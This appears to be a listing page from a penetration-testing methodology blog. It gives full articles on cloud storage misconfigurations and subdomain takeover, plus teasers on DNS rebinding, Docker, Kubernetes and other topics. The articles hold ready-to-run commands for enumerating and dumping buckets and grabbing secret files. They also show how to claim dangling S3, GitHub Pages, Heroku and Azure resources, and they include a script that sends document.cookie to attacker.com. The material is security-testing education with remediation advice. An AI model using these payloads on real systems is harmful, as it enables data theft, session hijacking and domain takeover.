Cloud Storage Misconfigurations

Cloud Storage Misconfigurations Severity: High–Critical | CWE: CWE-732, CWE-200 OWASP: A05:2021 – Security Misconfiguration What Are Cloud Storage Misconfigs? Cloud storage buckets (AWS S3, Google Cloud Storage, Azure Blob, DigitalOcean Spaces) default to private, but misconfigurations expose them publicly — allowing data read, write, or full takeover. Write access enables content injection, website defacement, or subdomain takeover. Discovery Checklist Enumerate bucket names from JS, HTML, API responses, SSL certs Try predictable bucket names: company-backup, company-assets, company-files Test s3://bucket-name for public listability (aws s3 ls) Test read access: download sensitive files (backups, configs, keys) Test write access: upload a file, check if it’s accessible Check ACL: public-read, public-read-write, authenticated-read Check for exposed .env, *.pem, *.key, backup.sql files Test Azure Blob Container public access level Test GCS bucket IAM (allUsers, allAuthenticatedUsers) Look for signed URL leakage (S3 pre-signed URLs in responses/logs) Payload Library Attack 1 — AWS S3 Enumeration # Check if bucket exists and is public: curl -s "https://BUCKET_NAME.s3.amazonaws.com/" | grep -i "ListBucketResult\|Access Denied\|NoSuchBucket" # List bucket contents (if public list): aws s3 ls s3://BUCKET_NAME --no-sign-request aws s3 ls s3://BUCKET_NAME --no-sign-request --recursive # Download all files (public read): aws s3 sync s3://BUCKET_NAME /tmp/bucket_dump --no-sign-request # Try common bucket name patterns: TARGET="company-name" for suffix in "" "-backup" "-assets" "-static" "-dev" "-staging" \ "-prod" "-files" "-uploads" "-media" "-data" "-logs" \ "-config" "-secret" "-private" "-internal"; do bucket="${TARGET}${suffix}" status=$(curl -so /dev/null -w "%{http_code}" \ "https://${bucket}.s3.amazonaws.com/") echo "${bucket}: $status" done # Check bucket region: curl -s "https://BUCKET_NAME.s3.amazonaws.com/" -I | grep -i "x-amz-bucket-region" # Authenticated enumeration (with own AWS credentials): aws s3api list-objects --bucket BUCKET_NAME --output json | \ jq '.Contents[].Key' # Test write access: echo "pentest" > /tmp/test.txt aws s3 cp /tmp/test.txt s3://BUCKET_NAME/pentest_test.txt --no-sign-request # If succeeds → public write (critical!) Attack 2 — Interesting Files to Hunt # Search for sensitive files once you have read access: BUCKET="target-bucket" # Database dumps: aws s3 ls s3://$BUCKET --recursive --no-sign-request | \ grep -iE "\.sql|\.dump|\.bak|\.backup" # Config and secrets: aws s3 ls s3://$BUCKET --recursive --no-sign-request | \ grep -iE "\.env|config\.|secret|credentials|\.pem|\.key|\.p12|\.pfx" # Code: aws s3 ls s3://$BUCKET --recursive --no-sign-request | \ grep -iE "\.php|\.py|\.js|\.rb|\.jar|\.war" # Download interesting files: aws s3 cp s3://$BUCKET/.env /tmp/.env --no-sign-request aws s3 cp s3://$BUCKET/backup.sql /tmp/backup.sql --no-sign-request aws s3 cp s3://$BUCKET/config.json /tmp/config.json --no-sign-request Attack 3 — Google Cloud Storage (GCS) # Check public bucket: curl -s "https://storage.googleapis.com/BUCKET_NAME/" | \ grep -i "Contents\|AccessDenied\|NoSuchBucket" # List with gsutil: gsutil ls gs://BUCKET_NAME gsutil ls -r gs://BUCKET_NAME # recursive # Check IAM policy: gsutil iam get gs://BUCKET_NAME # Download: gsutil cp gs://BUCKET_NAME/sensitive_file /tmp/ # Test all-users read: curl -s "https://storage.googleapis.com/BUCKET_NAME/test_file" -I # Find GCS buckets via HTTPS: curl -s "https://BUCKET_NAME.storage.googleapis.com/" Attack 4 — Azure Blob Storage # Check container public access: curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list" | \ grep -i "EnumerationResults\|AuthorizationFailed\|ResourceNotFound" # List blobs (public container): curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list" # Download blob: curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME/BLOB_NAME" -o file # Test write (public write): curl -X PUT "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME/pwned.txt" \ -H "x-ms-blob-type: BlockBlob" \ -d "compromised" # Azure enumeration tool: pip3 install blobstoragemicroscope # Or use MicroBurst: # https://github.com/NetSPI/MicroBurst Attack 5 — Subdomain Takeover via S3 # CNAME pointing to unclaimed S3 bucket: # static.target.com → target-static.s3-website-us-east-1.amazonaws.com # Bucket doesn't exist → claim it # Create bucket with same name: aws s3api create-bucket --bucket target-static --region us-east-1 aws s3 website s3://target-static/ --index-document index.html aws s3api put-bucket-policy --bucket target-static --policy '{ "Version": "2012-10-17", "Statement": [{ "Sid": "PublicRead", "Effect": "Allow", "Principal": "*", "Action": ["s3:GetObject"], "Resource": "arn:aws:s3:::target-static/*" }] }' # Upload PoC: echo '<html><body>Subdomain Takeover via S3</body></html>' > index.html aws s3 cp index.html s3://target-static/ Tools # S3Scanner: pip3 install s3scanner s3scanner scan --buckets target-backup,target-assets,target-prod # CloudBrute — cloud storage brute forcing: git clone https://github.com/0xsha/CloudBrute ./CloudBrute -d target.com -k target -m storage -l 200 -o results.txt # GrayhatWarfare — search public buckets: # https://buckets.grayhatwarfare.com (web UI) # bucket-finder: bucket_finder.rb target.com # truffleHog — find secrets in bucket contents: trufflehog s3 --bucket=BUCKET_NAME # AWS CLI: aws s3 ls s3://BUCKET --no-sign-request aws s3api get-bucket-acl --bucket BUCKET --no-sign-request aws s3api get-bucket-policy --bucket BUCKET --no-sign-request # Check CORS on S3: curl -sI "https://BUCKET.s3.amazonaws.com/" \ -H "Origin: https://evil.com" | grep -i "access-control" # Find buckets from SSL certs / JS files: grep -rn "s3\.amazonaws\.com\|s3-.*\.amazonaws\.com\|\.storage\.googleapis\.com" \ --include="*.js" . Remediation Reference Block all public access: AWS S3 “Block Public Access” setting at account level Explicit deny policy: add bucket policy that denies s3:* to * (public) Use presigned URLs for temporary access instead of public buckets Enable S3 server access logging: detect unauthorized access attempts Apply principle of least privilege to IAM roles that access buckets Enable MFA Delete on S3 buckets containing critical data Regular audit: use AWS Config, GCP Security Command Center, or Azure Defender to continuously check bucket permissions Avoid predictable bucket names: don’t use company name + common suffixes Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 · 4 min · MrAzoth

DNS Rebinding

DNS Rebinding Severity: High | CWE: CWE-350, CWE-184 OWASP: A01:2021 – Broken Access Control | A05:2021 – Security Misconfiguration What Is DNS Rebinding? DNS rebinding attacks abuse the browser’s same-origin policy (SOP) by manipulating DNS resolution. The attacker controls a domain whose DNS TTL is set very low. When a victim visits the attacker’s page: Browser resolves evil.com → attacker’s IP (serves malicious JS) JS runs in the victim’s browser, waits for DNS TTL to expire DNS record is changed: evil.com → 127.0.0.1 (or internal IP) JS makes a cross-origin fetch to evil.com — browser resolves again → now gets 127.0.0.1 SOP considers both requests same-origin (same domain evil.com) → request succeeds Attacker JS reads the response from the internal service running on 127.0.0.1 Attack targets: internal services, router admin panels, Kubernetes API, Docker daemon, Prometheus, Consul, Jupyter notebooks, development servers — any HTTP service on localhost or private network accessible from the victim’s browser. ...

February 24, 2026 · 11 min · MrAzoth

Docker Security Testing

Docker Security Testing Severity: Critical | CWE: CWE-284, CWE-269 OWASP: A05:2021 – Security Misconfiguration | A01:2021 – Broken Access Control What Is the Docker Attack Surface? Docker’s attack surface includes the Docker daemon REST API (accessible via UNIX socket or TCP), container escape via privileged containers and dangerous volume mounts, container image vulnerabilities, and insecure registries. A single misconfiguration — like exposing the Docker socket to a container — typically results in full host compromise. ...

February 24, 2026 · 10 min · MrAzoth

Exposed Admin Interfaces & Management Endpoints

Exposed Admin Interfaces & Management Endpoints Severity: Critical | CWE: CWE-200, CWE-284 OWASP: A05:2021 – Security Misconfiguration | A01:2021 – Broken Access Control What Is the Target? Admin interfaces are management endpoints that expose high-privilege operations: Spring Boot Actuator (environment variables, heap dumps, thread dumps, HTTP trace logs, bean definitions), Prometheus metrics (may include secrets in metric labels), Grafana (dashboards + data source credential access), Kibana (full Elasticsearch access), Consul (service mesh + secrets), Vault (if UI exposed), Jupyter (code execution), Jenkins (pipeline execution), and custom admin panels. ...

February 24, 2026 · 8 min · MrAzoth

Kubernetes Security Testing

Kubernetes Security Testing Severity: Critical | CWE: CWE-284, CWE-269 OWASP: A01:2021 – Broken Access Control | A05:2021 – Security Misconfiguration What Is the Kubernetes Attack Surface? Kubernetes clusters expose a rich attack surface: the API server (the central control plane), kubelet APIs on each node, etcd (cluster state store containing secrets in plaintext), dashboard UIs, and internal service mesh. Misconfigurations range from completely unauthenticated API servers to overly permissive RBAC rules, privileged containers, and default service account token abuse. ...

February 24, 2026 · 8 min · MrAzoth

Security Headers Misconfiguration

Security Headers Misconfiguration Severity: Low–High (context dependent) | CWE: CWE-693, CWE-1021 OWASP: A05:2021 – Security Misconfiguration What Are Security Headers? HTTP security headers are directives sent by the server that instruct the browser how to handle the response, what resources to trust, and what features to allow. Missing or misconfigured security headers don’t typically provide direct exploitation — they remove browser-enforced mitigations, which means other vulnerabilities (XSS, clickjacking, MIME sniffing) become more exploitable. ...

February 24, 2026 · 10 min · MrAzoth

Subdomain Takeover

Subdomain Takeover Severity: High–Critical | CWE: CWE-350 OWASP: A05:2021 – Security Misconfiguration What Is Subdomain Takeover? A subdomain takeover occurs when a DNS record (CNAME, A, NS) points to an external service that no longer exists or is unclaimed. An attacker registers the unclaimed resource and takes control of the subdomain — enabling phishing, cookie theft, and XSS on the parent domain’s trust. DNS: shop.target.com CNAME target.myshopify.com Shopify store was deleted → target.myshopify.com is unclaimed Attacker creates Shopify store at target.myshopify.com → shop.target.com now serves attacker-controlled content Impact: - SameSite cookie theft (same eTLD+1) - Subdomain XSS → steals parent domain cookies (if SameSite=Lax/None) - Phishing under trusted domain - CORS bypass (if wildcard *.target.com is trusted) - Bypass CSP (if *.target.com in script-src) - SPF/DKIM abuse for email phishing Discovery Checklist Enumerate all subdomains (amass, subfinder, assetfinder, dnsx) For each subdomain: check DNS resolution → CNAME chain → ultimate target For CNAME targets: check if service/bucket/page is claimed Look for common “unclaimed” error messages per service (see table below) Check NS delegations — is subdomain NS pointing to attacker-registerable zone? Check A records pointing to cloud IPs that may be released Test S3 buckets, Azure Blob, GitHub Pages, Heroku, Netlify, Vercel, etc. Check expired/deleted infrastructure in CI/CD pipelines Check wildcard DNS responses (*.target.com → may mask subdomain enumeration) Fingerprint Table — “Unclaimed” Error Messages Service Fingerprint String GitHub Pages There isn't a GitHub Pages site here. AWS S3 NoSuchBucket, The specified bucket does not exist AWS Elastic Beanstalk NXDOMAIN on .elasticbeanstalk.com Heroku No such app, herokussl.com CNAME dangling Netlify Not Found - Request ID Fastly Fastly error: unknown domain Shopify Sorry, this shop is currently unavailable Tumblr There's nothing here. WordPress.com Do you want to register *.wordpress.com? Surge.sh project not found Azure The specified container does not exist Zendesk Oops, this page no longer exists StatusPage.io You are being redirected UserVoice This UserVoice subdomain is currently available Pantheon 404 error unknown site! Ghost The thing you were looking for is no longer here Cargo Collective 404 Not Found Fly.io NXDOMAIN on .fly.dev Payload Library Attack 1 — S3 Bucket Takeover # CNAME: static.target.com → target-static.s3.amazonaws.com # Bucket target-static doesn't exist # Check if CNAME exists and bucket is unclaimed: dig CNAME static.target.com # → target-static.s3.amazonaws.com. # Check bucket claim status: curl -s http://target-static.s3.amazonaws.com/ | grep -i "nosuchbucket\|NoSuchBucket" # Claim the bucket (same region required): aws s3api create-bucket \ --bucket target-static \ --region us-east-1 # Or for other regions: aws s3api create-bucket \ --bucket target-static \ --region eu-west-1 \ --create-bucket-configuration LocationConstraint=eu-west-1 # Upload XSS PoC: echo '<html><body><h1>Subdomain Takeover PoC</h1></body></html>' > index.html aws s3 cp index.html s3://target-static/ --acl public-read aws s3 website s3://target-static/ --index-document index.html # Cookie theft payload (if subdomain shares cookies with parent): echo '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' > steal.html aws s3 cp steal.html s3://target-static/cookie-steal.html --acl public-read Attack 2 — GitHub Pages Takeover # CNAME: blog.target.com → target-company.github.io # GitHub organization/user doesn't have Pages configured for that repo # Check: curl -s https://blog.target.com/ | grep -i "github pages" # Takeover steps: # 1. Create GitHub account/org with same username as target-company # 2. Create repository named target-company.github.io # 3. Enable GitHub Pages on that repo # 4. Add CNAME file containing: blog.target.com # 5. Push index.html with PoC git init takeover-pages cd takeover-pages echo "blog.target.com" > CNAME echo '<html><body>Subdomain Takeover PoC</body></html>' > index.html git add . && git commit -m "PoC" git remote add origin https://github.com/target-company/target-company.github.io git push -u origin main # Then enable GitHub Pages in repo settings Attack 3 — Heroku Takeover # CNAME: api.target.com → target-api.herokuapp.com # Heroku app was deleted # Check: curl -s https://api.target.com/ | grep -i "no such app\|heroku" # Takeover: heroku login heroku create target-api # claim the app name heroku domains:add api.target.com --app target-api # Deploy minimal app: echo '{"name": "takeover-poc"}' > package.json echo 'const http = require("http"); http.createServer((req,res)=>{ res.end("Takeover PoC"); }).listen(process.env.PORT)' > index.js heroku git:remote -a target-api git push heroku main Attack 4 — NS Subdomain Takeover # Most impactful: NS delegation for sub.target.com to a registerable zone # Check NS records: dig NS internal.target.com # → ns1.expired-dns-provider.com # → ns2.expired-dns-provider.com # If expired-dns-provider.com can be registered: # 1. Register expired-dns-provider.com # 2. Set up authoritative DNS # 3. Create zone for internal.target.com # 4. Point to attacker-controlled IPs # → Full control of all *.internal.target.com # NS takeover gives full DNS control → can create any subdomain # Can set up: mail.internal.target.com for email phishing # Can create: login.internal.target.com for credential harvest Attack 5 — Azure / Cloud Provider Takeover # Azure App Service: # CNAME: app.target.com → target-app.azurewebsites.net # Azure resource deleted → unclaimed # Check: curl -s https://target-app.azurewebsites.net/ | grep -i "azure\|404 web site not found" # Azure blob storage: # CNAME: files.target.com → targetfiles.blob.core.windows.net dig CNAME files.target.com # Check container: curl -s https://targetfiles.blob.core.windows.net/ | grep -i "nosuchcontainer\|specified container" # Claim Azure blob: az login az storage account create --name targetfiles --resource-group myRG --location eastus az storage container create --name '$web' --account-name targetfiles az storage blob upload --file index.html --container-name '$web' --name index.html \ --account-name targetfiles --auth-mode key # Netlify/Vercel takeover: # CNAME: landing.target.com → target-landing.netlify.app # Create Netlify site with same name + custom domain Tools # Subdomain enumeration: amass enum -d target.com -o subdomains.txt subfinder -d target.com -o subdomains.txt assetfinder target.com | tee subdomains.txt findomain -t target.com -o subdomains.txt # CNAME chain resolution: dnsx -l subdomains.txt -cname -o cnames.txt massdns -r resolvers.txt -t CNAME subdomains.txt # Automated takeover detection: # subjack: go install github.com/haccer/subjack@latest subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl -c fingerprints.json # subzy: go install github.com/LukaSikic/subzy@latest subzy run --targets subdomains.txt --hide_fails --verify_ssl # nuclei with takeover templates: nuclei -l subdomains.txt -t takeovers/ -c 50 # can-i-take-over-xyz (reference list): # https://github.com/EdOverflow/can-i-take-over-xyz # Manual CNAME chain check: while IFS= read -r subdomain; do cname=$(dig +short CNAME "$subdomain" | tr -d '.') if [ -n "$cname" ]; then echo "$subdomain → $cname" response=$(curl -sk "https://$subdomain/" | head -5) echo "$response" fi done < subdomains.txt # Check S3 bucket availability: aws s3api head-bucket --bucket BUCKET_NAME 2>&1 | grep -i "nosuchbucket\|403\|404" Remediation Reference Regular DNS audits: scan all DNS records quarterly, remove dangling CNAMEs immediately Infrastructure decommission process: DNS record removal must be part of any service teardown Monitor CNAME targets: alert when CNAME ultimate target becomes unresolvable or returns error Avoid wildcard CNAME: *.target.com → *.cloudprovider.com is highly dangerous Register defensive resources: claim common variations of your org name on cloud providers Track external dependencies: maintain inventory of all external services with DNS entries Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 · 6 min · MrAzoth